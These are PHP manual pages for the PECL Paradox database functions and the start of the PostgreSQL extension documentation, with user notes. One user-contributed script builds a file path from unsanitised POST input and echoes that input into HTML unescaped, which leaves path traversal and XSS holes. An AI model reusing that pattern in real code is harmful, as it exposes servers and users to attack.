px_get_schema — Returns the database schema

Description

array px_get_schema ( resource $pxdoc [, int $mode = 0 ] )

px_get_schema() returns the database schema.

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

mode

If the optional mode is PX_KEYTOLOWER or PX_KEYTOUPPER the keys of the returned array will be converted to lower or upper case. If mode is 0 or not passed at all, then the key name will be identical to the field name.

Return Values

Returns the schema of a database file as an associated array. The key name is equal to the field name. Each array element is itself an associated array containing the two fields type and size. type is one of the constants in table Constants for field types. size is the number of bytes this field consumes in the record. The total of all field sizes is equal to the record size as it can be retrieved with px-get-info().

User Contributed Notes

Mr Muddy 14-Aug-2007 01:14
It's not especially pretty and there isn't any error trapping, so please don't use this on any sort of production data.  This will display the schema of a paradox data source....

<?
    /*
    Paradox database schema display
    Tim Burt
    27/07/07
    */

    //we're expecting a filename in the post vars
    if ($_POST['database_name'] != "") {

        //Set up anything we are likely to need
        $database_filename = "<path to your data file>".$_POST['database_name'];

        echo "<p><b>Schema for ".$_POST['database_name']."</b></p>\n";

        if(!$pxdoc = px_new()) {
      DIE("Problem !");
        }
        $fp = fopen($database_filename, "r");
        if(!px_open_fp($pxdoc, $fp)) {
         DIE("Couldn't open database file");
        }
        else {
            //output the database schema...
            $stock_schema = px_get_schema($pxdoc);

            if (is_array($stock_schema)) {
                foreach ($stock_schema as $key=>$value) {
                    echo "<br><b>".$key."</b> - Type ".$value['type'];
                    }
                }
            }
        px_close($pxdoc);
        px_delete($pxdoc);
        fclose($fp);

    }
    else {
        //show the form to get the filename
        echo "<form action=\"show_schema.php\" method=\"post\">\n";
        echo "<p>Data Source Name (include extension) : <input type=\"text\" size=\"10\" name=\"database_name\"></p>\n";
        echo "<p><input type=\"submit\" value=\"Show Schema !\">\n";
        echo "</form>\n";
    }

?>
px_get_record
px_get_value
Paradox Functions


Gets a value

px_get_schema
px_insert_record
Paradox Functions
PHP Manual

px_get_value

(PECL paradox >= 1.1.0)

px_get_value — Gets a value

Description

float px_get_value ( resource $pxdoc , string $name )

Gets various values.

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

name

name can be one of the following.

numprimkeys

The number of primary keys. Paradox databases always use the first numprimkeys fields for the primary index.

Return Values

Returns the value of the parameter or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
px_get_schema
px_insert_record
Paradox Functions


Inserts record into paradox database

px_get_value
px_new
Paradox Functions
PHP Manual

px_insert_record

(PECL paradox >= 1.4.0)

px_insert_record — Inserts record into paradox database

Description

int px_insert_record ( resource $pxdoc , array $data )

Inserts a new record into the database. The record is not necessarily inserted at the end of the database, but may be inserted at any position depending on where the first free slot is found.

The record data is passed as an array of field values. The elements in the array must correspond to the fields in the database. If the array has less elements than fields in the database, the remaining fields will be set to null.

Most field values can be passed as its equivalent php type e.g. a long value is used for fields of type PX_FIELD_LONG, PX_FIELD_SHORT and PX_FIELD_AUTOINC, a double values is used for fields of type PX_FIELD_CURRENCY and PX_FIELD_NUMBER. Field values for blob and alpha fields are passed as strings.

Fields of type PX_FIELD_TIME and PX_FIELD_DATE both require a long value. In the first case this is the number of milliseconds since midnight. In the second case this is the number of days since 1.1.0000. Below there are two examples to convert the current date or timestamp into a value suitable for one of paradox's date/time fields.

Note:

This function is only available if pxlib >= 0.6.0 is used.

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

data

Associated or indexed array containing the field values as e.g. returned by px_retrieve_record().

Return Values

Returns FALSE on failure or the record number in case of success.

Examples

Example #1 Set the date/time fields in a paradox database to the current date/time

<?php
$px = px_new();
$fp = fopen("test.db", "w+");
px_create_fp($px, $fp, array(array("timestamp", "@"), array("time", "T"), array("date", "D")));

$curdate = getdate();
$jd = gregoriantojd($curdate["mon"], $curdate["mday"], $curdate["year"]);
$days = $jd - 1721425; /* Number of days between 1.1.4714 b.c. and 1.1.0000 */
$secs = $curdate["hours"]*3600 + $curdate["minutes"]*60 + $curdate["seconds"];
px_insert_record($px, array($days*86400000.0 + $secs*1000.0, $secs*1000.0, $days));

$curtimestamp = microtime(true);
$days = (int) ($curtimestamp/86400);
$secs = $curtimestamp - ($days * 86400.0);
$days += 2440588; /* Number of days between 1.1.4714 b.c. and 1.1.1970 */
$days -= 1721425; /* Number of days between 1.1.4714 b.c. and 1.1.0000 */
px_insert_record($px, array($days*86400000.0 + $secs*1000.0, $secs*1000.0, $days));
for($i=0; $i<2; $i++) {
    $rec = px_retrieve_record($px, $i);
    echo px_timestamp2string($px, $rec["timestamp"], "n/d/Y H:i:s")."\n";
    echo px_date2string($px, $rec["date"], "n/d/Y")."\n";
}
px_close($px);
px_delete($px);
?>

The above example will output:

2/21/2006 21:42:30
2/21/2006
2/21/2006 20:42:30
2/21/2006

The Julian day count as passed to jdtogregorian() has a different base of 1.1.4714 b.c. and must therefore be calculated by adding 1721425 to the day count used in the paradox file. Turning the day count into a timestamp is easily done by multiplying with 86400000.0 to obtain milli seconds.

See Also

px_update_record() - Updates record in paradox database

User Contributed Notes

There are no user contributed notes for this page.
px_get_value
px_new
Paradox Functions


Create a new paradox object

px_insert_record
px_numfields
Paradox Functions
PHP Manual

px_new

(PECL paradox >= 1.0.0)

px_new — Create a new paradox object

Description

resource px_new ( void )

Create a new paradox object. You will have to call this function before any further functions. px_new() does not create any file on the disk, it just creates an instance of a paradox object. This function must not be called if the object oriented interface is used. Use new paradox_db() instead.

Return Values

Returns FALSE on failure.

Examples

Example #1 Opening a Paradox database

<?php
if(!$pxdoc = px_new()) {
  /* Error handling */
}
$fp = fopen("test.db", "r");
if(!px_open_fp($pxdoc, $fp)) {
  /* Error handling */
}
// ...
px_close($pxdoc);
px_delete($pxdoc);
fclose($fp);
?>

If you prefer the object oriented API, then the above example will look like the following.

Example #2 Opening a Paradox database

<?php
$fp = fopen("test.db", "r");
$pxdoc = new paradox_db();
if(!$pxdoc->open_fp($fp)) {
  /* Error handling */
}
// ...
$pxdoc->close();
fclose($fp);
?>

See Also

  • px_delete() - Deletes resource of paradox database
  • px_open_fp() - Open paradox database

User Contributed Notes

There are no user contributed notes for this page.
px_insert_record
px_numfields
Paradox Functions


Returns number of fields in a database

px_new
px_numrecords
Paradox Functions
PHP Manual

px_numfields

(PECL paradox >= 1.0.0)

px_numfields — Returns number of fields in a database

Description

int px_numfields ( resource $pxdoc )

Get the number of fields in a database file.

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

Return Values

Returns the number of fields in a database file. The return value of this function is identical to the element numfields in the array returned by px_get_info().

User Contributed Notes

There are no user contributed notes for this page.
px_new
px_numrecords
Paradox Functions


Returns number of records in a database

px_numfields
px_open_fp
Paradox Functions
PHP Manual

px_numrecords

(PECL paradox >= 1.0.0)

px_numrecords — Returns number of records in a database

Description

int px_numrecords ( resource $pxdoc )

Get the number of records in a database file.

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

Return Values

Returns the number of records in a database file. The return value of this function is identical to the element numrecords in the array returned by px_get_info().

User Contributed Notes

There are no user contributed notes for this page.
px_numfields
px_open_fp
Paradox Functions


Open paradox database

px_numrecords
px_put_record
Paradox Functions
PHP Manual

px_open_fp

(PECL paradox >= 1.0.0)

px_open_fp — Open paradox database

Description

bool px_open_fp ( resource $pxdoc , resource $file )

Open an existing paradox database file. The actual file has to be opened before with fopen(). This function can also be used to open primary index files and tread them like a paradox database. This is supported for those who would like to investigate a primary index. It cannot be used to accelerate access to a database file.

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

file

file is the return value from fopen() with the actual database file as parameter. Make sure the database is writable if you plan to update or insert records.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • fopen() - Opens file or URL
  • The example at px_new() - Create a new paradox object

User Contributed Notes

There are no user contributed notes for this page.
px_numrecords
px_put_record
Paradox Functions


Stores record into paradox database

px_open_fp
px_retrieve_record
Paradox Functions
PHP Manual

px_put_record

(PECL paradox >= 1.0.0)

px_put_record — Stores record into paradox database

Description

bool px_put_record ( resource $pxdoc , array $record [, int $recpos = -1 ] )

Stores a record into a paradox database. The record is always added at the end of the database, regardless of any free slots. Use px_insert_record() to add a new record into the first free slot found in the database.

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

record

Associated or indexed array containing the field values as e.g. returned by px_retrieve_record().

recpos

This optional parameter may be used to specify a record number greater than the current number of records in the database. The function will add as many empty records as needed. There is hardly any need for this parameter.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
px_open_fp
px_retrieve_record
Paradox Functions


Returns record of paradox database

px_put_record
px_set_blob_file
Paradox Functions
PHP Manual

px_retrieve_record

(PECL paradox >= 1.4.0)

px_retrieve_record — Returns record of paradox database

Description

array px_retrieve_record ( resource $pxdoc , int $num [, int $mode = 0 ] )

This function is very similar to px_get_record() but uses internally a different approach to retrieve the data. It relies on pxlib for reading each single field value, which usually results in support for more field types.

Note:

This function is only available if pxlib >= 0.6.0 is used.

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

num

The record number is an artificial number counting records in the order as they are stored in the database. The first record has number 0.

mode

The optional mode can be PX_KEYTOLOWER or PX_KEYTOUPPER in order to convert the keys into lower or upper case. If mode is not passed or is 0, then the key will be exactly like the field name. The element values will contain the field values. NULL values will be retained and are different from 0.0, 0 or the empty string. Fields of type PX_FIELD_TIME will be returned as an integer counting the number of milliseconds starting at midnight. A timestamp is a floating point value also counting milliseconds starting at the beginning of julian calendar.

Return Values

Returns the num'th record from the paradox database. The record is returned as an associated array with its keys being the field names.

See Also

  • px_get_record() - Returns record of paradox database

User Contributed Notes

There are no user contributed notes for this page.
px_put_record
px_set_blob_file
Paradox Functions


Sets the file where blobs are read from

px_retrieve_record
px_set_parameter
Paradox Functions
PHP Manual

px_set_blob_file

(PECL paradox >= 1.3.0)

px_set_blob_file — Sets the file where blobs are read from

Description

bool px_set_blob_file ( resource $pxdoc , string $filename )

Sets the name of the file where blobs are going to be read from or written into. Without calling this function, px_get_record() or px_retrieve_record() will only return data in blob fields if the data is part of the record and not stored in the blob file. Blob data is stored in the record if it is small enough to fit in the size of the blob field.

Calling px_put_record(),
px_insert_record(), or
px_update_record() without calling
px_set_blob_file() will result in truncated blob fields
unless the data fits into the database file.

Calling this function twice will close the first blob file and open the new one.

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

filename

The name of the file. Its extension should be .MB.

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

Anonymous 18-Dec-2011 02:59
Note: Due to the (old) bug https://bugs.php.net/bug.php?id=57141 the database file passed to px_open_fp needs to be opened with write permissions (e.g. using the r+ flag). It will crash with a fatal error if opened in read only mode.
simon at centurioncomputers dot com dot au 22-Apr-2011 08:23
I could not get the OO interface to set_blob_file() to work....

<?php
$fp = fopen("/home/httpd/vhosts/newjcs/SALLY.DB", "r");
$pxdoc = new paradox_db();
$pxdoc->set_blob_file('/home/httpd/vhosts/newjcs/SALLY.MB');
?>
.............................
Fatal error: paradox_db::set_blob_file(): Paradox database has not been opened or created when setting the blob file
.............................

but worked nicely when called procedurally, so quick example to grab the images from a paradox DB , the field names you will have to change to suit.

<?php
$pxdoc = px_new();
$fp = fopen("/blah/SALLY.DB", "r");
px_open_fp($pxdoc, $fp);
px_set_blob_file($pxdoc,'/blah/SALLY.MB');
$numrecords=px_numrecords($pxdoc);
for($x=1;$x<=$numrecords;++$x){
    $yaks=px_get_record($pxdoc,$x);
    if($yaks['Picture']){
        file_put_contents("/blah/ims/{$yaks['Val No']}.bmp",$yaks['Picture']);
    }
}
px_close($pxdoc);
px_delete($pxdoc);
fclose($fp);
?>
px_retrieve_record
px_set_parameter
Paradox Functions


Sets a parameter

px_set_blob_file
px_set_tablename
Paradox Functions
PHP Manual

px_set_parameter

(PECL paradox >= 1.1.0)

px_set_parameter — Sets a parameter

Description

bool px_set_parameter ( resource $pxdoc , string $name , string $value )

Sets various parameters.

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

name

Depending on the parameter you want to set, name can be one of the following.

tablename

The name of the table as it will be stored in the database header.

targetencoding

The encoding for the output. Data which is being read from character fields is recoded into the targetencoding.

inputencoding

The encoding of the input data which is to be stored into the database.

value

The value of parameter to set. For inputencoding and targetencoding this must be the name of the encoding as understood by iconv or recode, e.g. iso-8859-1, utf-8, cp850.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • px_get_info() - Return lots of information about a paradox file to determine the DOS code page.

User Contributed Notes

There are no user contributed notes for this page.
px_set_blob_file
px_set_tablename
Paradox Functions


Sets the name of a table (deprecated)

px_set_parameter
px_set_targetencoding
Paradox Functions
PHP Manual

px_set_tablename

(PECL paradox >= 1.0.0)

px_set_tablename — Sets the name of a table (deprecated)

Description

void px_set_tablename ( resource $pxdoc , string $name )

Sets the table name of a paradox database, which was created with px_create_fp(). This function is deprecated use px_set_parameter() instead.

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

tablename

The name of the table. If it is not set explicitly it will be set to the name of the database file.

Return Values

Returns NULL on success or FALSE on failure.

See Also

px_set_parameter() - Sets a parameter

User Contributed Notes

There are no user contributed notes for this page.
px_set_parameter
px_set_targetencoding
Paradox Functions


Sets the encoding for character fields (deprecated)

px_set_tablename
px_set_value
Paradox Functions
PHP Manual

px_set_targetencoding

(PECL paradox >= 1.0.0)

px_set_targetencoding — Sets the encoding for character fields (deprecated)

Description

bool px_set_targetencoding ( resource $pxdoc , string $encoding )

Set the encoding for data retrieved from a character field. All character fields will be recoded to the encoding set by this function. If the encoding is not set, the character data will be returned in the DOS code page encoding as specified in the database file. The encoding can be any string identifier known to iconv or recode. On Unix systems run iconv -l for a list of available encodings.

This function is deprecated and should be replaced by calling px_set_parameter().

See also px_get_info() to determine the DOS code page as stored in the database file.

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

encoding

The encoding for the output. Data which is being read from character fields is recoded into the targetencoding.

Return Values

Returns FALSE if the encoding could not be set, e.g. the encoding is unknown, or pxlib does not support recoding at all. In the second case a warning will be issued.

See Also

px_set_parameter() - Sets a parameter

User Contributed Notes

There are no user contributed notes for this page.
px_set_tablename
px_set_value
Paradox Functions


Sets a value

px_set_targetencoding
px_timestamp2string
Paradox Functions
PHP Manual

px_set_value

(PECL paradox >= 1.1.0)

px_set_value — Sets a value

Description

bool px_set_value ( resource $pxdoc , string $name , float $value )

Sets various values.

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

name

name can be one of the following.

numprimkeys

The number of primary keys. Paradox databases always use the first numprimkeys fields for the primary index.

value

Return Values

Returns TRUE on success or FALSE on failure.

See Also

px_set_parameter() - Sets a parameter

User Contributed Notes

There are no user contributed notes for this page.
px_set_targetencoding
px_timestamp2string
Paradox Functions


Converts the timestamp into a string.

px_set_value
px_update_record
Paradox Functions
PHP Manual

px_timestamp2string

(PECL paradox >= 1.4.0)

px_timestamp2string — Converts the timestamp into a string.

Description

string px_timestamp2string ( resource $pxdoc , float $value , string $format )

Turns a timestamp as it stored in the paradox file into human readable format. Paradox timestamps are the number of miliseconds since 0001-01-02. This function is just for convenience. It can be easily replaced by some math and the calendar functions as demonstrated in the following example.

Parameters

pxdoc

Resource identifier of the paradox database.

value

Value as stored in paradox database field of type PX_FIELD_TIME, or PX_FIELD_TIMESTAMP.

format

String format similar to the format used by date(). The placeholders support by this function is a subset of those supported by date() (Y, y, m, n, d, j, H, h, G, g, i, s, A, a, L).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Turn a paradox timestamp into a human readable form

<?php
$px = px_new();

/* make up a date as it could be stored in */
/* a date field of a paradox db. */
/* 700000 days since 1.1.0000. */
$days = 700000;

/* Use the calendar functions to print a */
/* human readable format of the date */
echo jdtogregorian($days+1721425)."\n";

/* Turn it into a timestamp as it stored in a paradox database */
/* Timestamps are stored in miliseconds since 0001-01-02 */
$stamp = $days * 86400.0 * 1000.0;
/* Add one hour */
$stamp += 3600000.0;
/* The following will output '7/15/1917 01:00:00'. */
echo px_timestamp2string($px, $stamp, "n/d/Y H:i:s")."\n";

px_delete($px);
?>

The above example will output:

7/15/1917
7/15/1917 01:00:00

The Julian day count as passed to jdtogregorian() has a different base of 1.1.4714 b.c. and must therefore be calculated by adding 1721425 to the day count used in the paradox file. Turning the day count into a timestamp is easily done by multiplying with 86400000.0 to obtain miliseconds.

See Also

  • px_date2string() - Converts a date into a string.
  • jdtogregorian() - Converts Julian Day Count to Gregorian date

User Contributed Notes

There are no user contributed notes for this page.
px_set_value
px_update_record
Paradox Functions


Updates record in paradox database

px_timestamp2string
PostgreSQL
Paradox Functions
PHP Manual

px_update_record

(PECL paradox >= 1.4.0)

px_update_record — Updates record in paradox database

Description

bool px_update_record ( resource $pxdoc , array $data , int $num )

Updates an exiting record in the database. The record starts at 0.

The record data is passed as an array of field values. The elements in the array must correspond to the fields in the database. If the array has less elements than fields in the database, the remaining fields will be set to null.

Note:

This function is only available if pxlib >= 0.6.0 is used.

Parameters

pxdoc

Resource identifier of the paradox database as returned by px_new().

data

Associated array containing the field values as returned by px_retrieve_record().

num

The record number is an artificial number counting records in the order as they are stored in the database. The first record has number 0.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

px_insert_record() - Inserts record into paradox database

User Contributed Notes

There are no user contributed notes for this page.
px_timestamp2string
PostgreSQL
Paradox Functions


PostgreSQL

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic usage
  • PostgreSQL Functions
    • pg_affected_rows — Returns number of affected records (tuples)
    • pg_cancel_query — Cancel an asynchronous query
    • pg_client_encoding — Gets the client encoding
    • pg_close — Closes a PostgreSQL connection
    • pg_connect — Open a PostgreSQL connection
    • pg_connection_busy — Get connection is busy or not
    • pg_connection_reset — Reset connection (reconnect)
    • pg_connection_status — Get connection status
    • pg_convert — Convert associative array values into suitable for SQL statement
    • pg_copy_from — Insert records into a table from an array
    • pg_copy_to — Copy a table to an array
    • pg_dbname — Get the database name
    • pg_delete — Deletes records
    • pg_end_copy — Sync with PostgreSQL backend
    • pg_escape_bytea — Escape a string for insertion into a bytea field
    • pg_escape_identifier — Escape a identifier for insertion into a text field
    • pg_escape_literal — Escape a literal for insertion into a text field
    • pg_escape_string — Escape a string for query
    • pg_execute — Sends a request to execute a prepared statement with given parameters, and waits for the result.
    • pg_fetch_all_columns — Fetches all rows in a particular result column as an array
    • pg_fetch_all — Fetches all rows from a result as an array
    • pg_fetch_array — Fetch a row as an array
    • pg_fetch_assoc — Fetch a row as an associative array
    • pg_fetch_object — Fetch a row as an object
    • pg_fetch_result — Returns values from a result resource
    • pg_fetch_row — Get a row as an enumerated array
    • pg_field_is_null — Test if a field is SQL NULL
    • pg_field_name — Returns the name of a field
    • pg_field_num — Returns the field number of the named field
    • pg_field_prtlen — Returns the printed length
    • pg_field_size — Returns the internal storage size of the named field
    • pg_field_table — Returns the name or oid of the tables field
    • pg_field_type_oid — Returns the type ID (OID) for the corresponding field number
    • pg_field_type — Returns the type name for the corresponding field number
    • pg_free_result — Free result memory
    • pg_get_notify — Gets SQL NOTIFY message
    • pg_get_pid — Gets the backend's process ID
    • pg_get_result — Get asynchronous query result
    • pg_host — Returns the host name associated with the connection
    • pg_insert — Insert array into table
    • pg_last_error — Get the last error message string of a connection
    • pg_last_notice — Returns the last notice message from PostgreSQL server
    • pg_last_oid — Returns the last row's OID
    • pg_lo_close — Close a large object
    • pg_lo_create — Create a large object
    • pg_lo_export — Export a large object to file
    • pg_lo_import — Import a large object from file
    • pg_lo_open — Open a large object
    • pg_lo_read_all — Reads an entire large object and send straight to browser
    • pg_lo_read — Read a large object
    • pg_lo_seek — Seeks position within a large object
    • pg_lo_tell — Returns current seek position a of large object
    • pg_lo_unlink — Delete a large object
    • pg_lo_write — Write to a large object
    • pg_meta_data — Get meta data for table
    • pg_num_fields — Returns the number of fields in a result
    • pg_num_rows — Returns the number of rows in a result
    • pg_options — Get the options associated with the connection
    • pg_parameter_status — Looks up a current parameter setting of the server.
    • pg_pconnect — Open a persistent PostgreSQL connection
    • pg_ping — Ping database connection
    • pg_port — Return the port number associated with the connection
    • pg_prepare — Submits a request to create a prepared statement with the given parameters, and waits for completion.
    • pg_put_line — Send a NULL-terminated string to PostgreSQL backend
    • pg_query_params — Submits a command to the server and waits for the result, with the ability to pass parameters separately from the SQL command text.
    • pg_query — Execute a query
    • pg_result_error_field — Returns an individual field of an error report.
    • pg_result_error — Get error message associated with result
    • pg_result_seek — Set internal row offset in result resource
    • pg_result_status — Get status of query result
    • pg_select — Select records
    • pg_send_execute — Sends a request to execute a prepared statement with given parameters, without waiting for the result(s).
    • pg_send_prepare — Sends a request to create a prepared statement with the given parameters, without waiting for completion.
    • pg_send_query_params — Submits a command and separate parameters to the server without waiting for the result(s).
    • pg_send_query — Sends asynchronous query
    • pg_set_client_encoding — Set the client encoding
    • pg_set_error_verbosity — Determines the verbosity of messages returned by pg_last_error and pg_result_error.
    • pg_trace — Enable tracing a PostgreSQL connection
    • pg_transaction_status — Returns the current in-transaction status of the server.
    • pg_tty — Return the TTY name associated with the connection
    • pg_unescape_bytea — Unescape binary for bytea type
    • pg_untrace — Disable tracing of a PostgreSQL connection
    • pg_update — Update table
    • pg_version — Returns an array with client, protocol and server version (when available)

User Contributed Notes

There are no user contributed notes for this page.
px_update_record
Introduction
Vendor Specific Database Extensions


Introduction

PostgreSQL database is Open Source product and available without cost. Postgres, developed originally in the UC Berkeley Computer Science Department, pioneered many of the object-relational concepts now becoming available in some commercial databases. It provides SQL92/SQL99 language support, transactions, referential integrity, stored procedures and type extensibility. PostgreSQL is an open source descendant of this original Berkeley code.

User Contributed Notes

There are no user contributed notes for this page.
PostgreSQL
Installing/Configuring
PostgreSQL


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

nestor dot martinez at etb dot net dot co 22-Mar-2010 05:47
If you get a message like this:
"Php Startup: Unable to load dynamic library 'C:\php\ext\php_pgsql.dll"

1. In the Configuration File alter the order of the libraries "php_exif.dll" and "php_mbstring.dll", in such a way that is called first the library "php_mbstring.dll"

2. Copy all the libraries in the folder "bin" of your installation of PostgreSQL and paste them into the root folder of Windows

3. Uncomment the line "extension=php_pgsql.dll"
4. Now you should see on the page generated by "phpinfo()" section of PostgreSQL
cin at example dot com 31-Oct-2009 09:09
If you have problem to use php_pgsql.dll try to use older version of the file. For me worked perfectly version 5.1.4.4 (152kb) dated 2006-05-04. Newer failed :(
(IIS+php 5.1.4)
some at domain dot name 29-Oct-2009 04:35
Another windows xp solution for "Unable to load dynamic library 'php_pgsql.dll' - The specified module could not be found."

Add the path of the postgres binaries to the system search-path:

Right click on "My Computer", select "properties", "advanced"-tab, "Environment variables"-button, "System variables"-section, select "path" and click "Edit" and add the path to the postgres binaries at the end, in my case it was "C:\Program Files\PostgreSQL\8.4\bin" and then restart the computer (or at least restart the apache/php processes)

Please note that the system-path can have several values, each separated by a semicolon ";".
emil at example dot com 07-Jan-2009 06:04
Unable to load dynamic library 'C:\\php\\ext\\php_pgsql.dll' - The specified module could not be found.

another solution:

copy libpq.dll/all files from zip (if you have php from installer)

add to httpd.conf:

#BEGIN PHP INSTALLER EDITS - REMOVE ONLY ON UNINSTALL
PHPIniDir "c:/PHP/"
Loadfile "C:\php\php5ts.dll"
Loadfile "C:\php\libpq.dll"
LoadModule php5_module "c:/PHP/php5apache2_2.dll"
#END PHP INSTALLER EDITS - REMOVE ONLY ON UNINSTALL
AddHandler application/x-httpd-php .php
AddHandler application/x-httpd-php-source .phps

(in php.ini default: extension_dir ="c:\PHP\ext" )

if it doesn't work add c:\php (php path) to your windows path (and restart)

tested on php5.2.8 + apache2.2.3
kouber at php dot net 26-Nov-2008 05:01
If you get this error on Windows:

Unable to load dynamic library 'C:/php/ext\\php_pgsql.dll' - The specified module could not be found.

Try downloading the PostgreSQL binaries-no-install archive from http://www.postgresql.org/ftp/binary/v8.3.5/win32/ (replace 8.3.5 with the latest stable version) and copy these DLLs to C:/WINDOWS/system32/ :

comerr32.dll
gssapi32.dll
k5sprt32.dll
krb5_32.dll
libeay32.dll
libiconv2.dll
libintl3.dll
libpq.dll
ssleay32.dll
Introduction
Requirements
PostgreSQL


Requirements

To use PostgreSQL support, you need PostgreSQL 6.5 or later, PostgreSQL 8.0 or later to enable all PostgreSQL module features. PostgreSQL supports many character encodings including multibyte character encoding. The current version and more information about PostgreSQL is available at » http://www.postgresql.org/ and the » PostgreSQL Documentation.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

In order to enable PostgreSQL support, --with-pgsql[=DIR] is required when you compile PHP. DIR is the PostgreSQL base install directory, defaults to /usr/local/pgsql. If shared object module is available, PostgreSQL module may be loaded using extension directive in php.ini or dl() function.

User Contributed Notes

samuel+php dot net at dionne-riel dot com 13-Aug-2010 05:31
On PHP 5.3, you may encounter this error.
    Cannot create new link. Too many open links

I did with Archlinux. pgsql.so was active.

To resolve the issue, I had to active pdo.so and pdo_pgsql.so. Hope this helps!
Serjik 28-Aug-2009 07:54
On a Windows server, configured with Apache, adding the following line to httpd.conf to load libpq.dll can save you a lot of time :

LoadFile "C:/Program Files/PostgreSQL/8.4/bin/libpq.dll"

Note that you will have to change your folder accordingly to the installation path and version of PostgreSQL you have installed. Also note that having Apache and PostgreSQL on the same server for production environments is not recommended.

Cheers,
Serjik
Anto Binish Kaspar 08-Jul-2009 04:39
An easy way to install in ubuntu(debain)
Just run " apt-get install php5-pgsql "
Riyas 03-Jun-2009 06:48
If you chose NOT TO replace the newer (>5.2.6) php_pgsql.dll with the old one (from 5.2.5) as mentioned in the note above, then libpq.dll must be available in your PATH.
Also note that the libpq.dll that comes with your installation of PostgreSQL will not work. You have to use the one available here:
http://downloads.php.net/pierre/libpq-php-4.4.9-5.2.6.zip.
Place the extracted dll in your php root directory (where php.exe resides)
Simon 02-Mar-2009 08:59
Windows users should be mindful that since 5.2.6 it seems that the version of php_pgsql.dll supplied is dynamically linked and requires libpq.dll.

The version supplied in 5.2.5 is statically linked and does not have this dependency, if you cannot load the Postgres extension grab php_pgsql.dll from the 5.2.5 distribution
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

PostgreSQL configuration options
Name | Default | Changeable | Changelog
pgsql.allow_persistent | "1" | PHP_INI_SYSTEM |
pgsql.max_persistent | "-1" | PHP_INI_SYSTEM |
pgsql.max_links | "-1" | PHP_INI_SYSTEM |
pgsql.auto_reset_persistent | "0" | PHP_INI_SYSTEM | Available since PHP 4.2.0.
pgsql.ignore_notice | "0" | PHP_INI_ALL | Available since PHP 4.3.0.
pgsql.log_notice | "0" | PHP_INI_ALL | Available since PHP 4.3.0.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

pgsql.allow_persistent boolean

Whether to allow persistent Postgres connections.

pgsql.max_persistent integer

The maximum number of persistent Postgres connections per process.

pgsql.max_links integer

The maximum number of Postgres connections per process, including persistent connections.

pgsql.auto_reset_persistent integer

Detect broken persistent links with pg_pconnect(). Needs a little overhead.

pgsql.ignore_notice integer

Whether or not to ignore PostgreSQL backend notices.

pgsql.log_notice integer

Whether or not to log PostgreSQL backends notice messages. The PHP directive pgsql.ignore_notice must be off in order to log notice messages.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Resource Types

There are two resource types used in the PostgreSQL module. The first one is the link identifier for a database connection, the second a resource which holds the result of a query.

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

PGSQL_ASSOC (integer)
Passed to pg_fetch_array(). Return an associative array of field names and values.
PGSQL_NUM (integer)
Passed to pg_fetch_array(). Return a numerically indexed array of field numbers and values.
PGSQL_BOTH (integer)
Passed to pg_fetch_array(). Return an array of field values that is both numerically indexed (by field number) and associated (by field name).
PGSQL_CONNECT_FORCE_NEW (integer)
Passed to pg_connect() to force the creation of a new connection, rather than re-using an existing identical connection.
PGSQL_CONNECTION_BAD (integer)
Returned by pg_connection_status() indicating that the database connection is in an invalid state.
PGSQL_CONNECTION_OK (integer)
Returned by pg_connection_status() indicating that the database connection is in a valid state.
PGSQL_SEEK_SET (integer)
Passed to pg_lo_seek(). Seek operation is to begin from the start of the object.
PGSQL_SEEK_CUR (integer)
Passed to pg_lo_seek(). Seek operation is to begin from the current position.
PGSQL_SEEK_END (integer)
Passed to pg_lo_seek(). Seek operation is to begin from the end of the object.
PGSQL_EMPTY_QUERY (integer)
Returned by pg_result_status(). The string sent to the server was empty.
PGSQL_COMMAND_OK (integer)
Returned by pg_result_status(). Successful completion of a command returning no data.
PGSQL_TUPLES_OK (integer)
Returned by pg_result_status(). Successful completion of a command returning data (such as a SELECT or SHOW).
PGSQL_COPY_OUT (integer)
Returned by pg_result_status(). Copy Out (from server) data transfer started.
PGSQL_COPY_IN (integer)
Returned by pg_result_status(). Copy In (to server) data transfer started.
PGSQL_BAD_RESPONSE (integer)
Returned by pg_result_status(). The server's response was not understood.
PGSQL_NONFATAL_ERROR (integer)
Returned by pg_result_status(). A nonfatal error (a notice or warning) occurred.
PGSQL_FATAL_ERROR (integer)
Returned by pg_result_status(). A fatal error occurred.
PGSQL_TRANSACTION_IDLE (integer)
Returned by pg_transaction_status(). Connection is currently idle, not in a transaction.
PGSQL_TRANSACTION_ACTIVE (integer)
Returned by pg_transaction_status(). A command is in progress on the connection. A query has been sent via the connection and not yet completed.
PGSQL_TRANSACTION_INTRANS (integer)
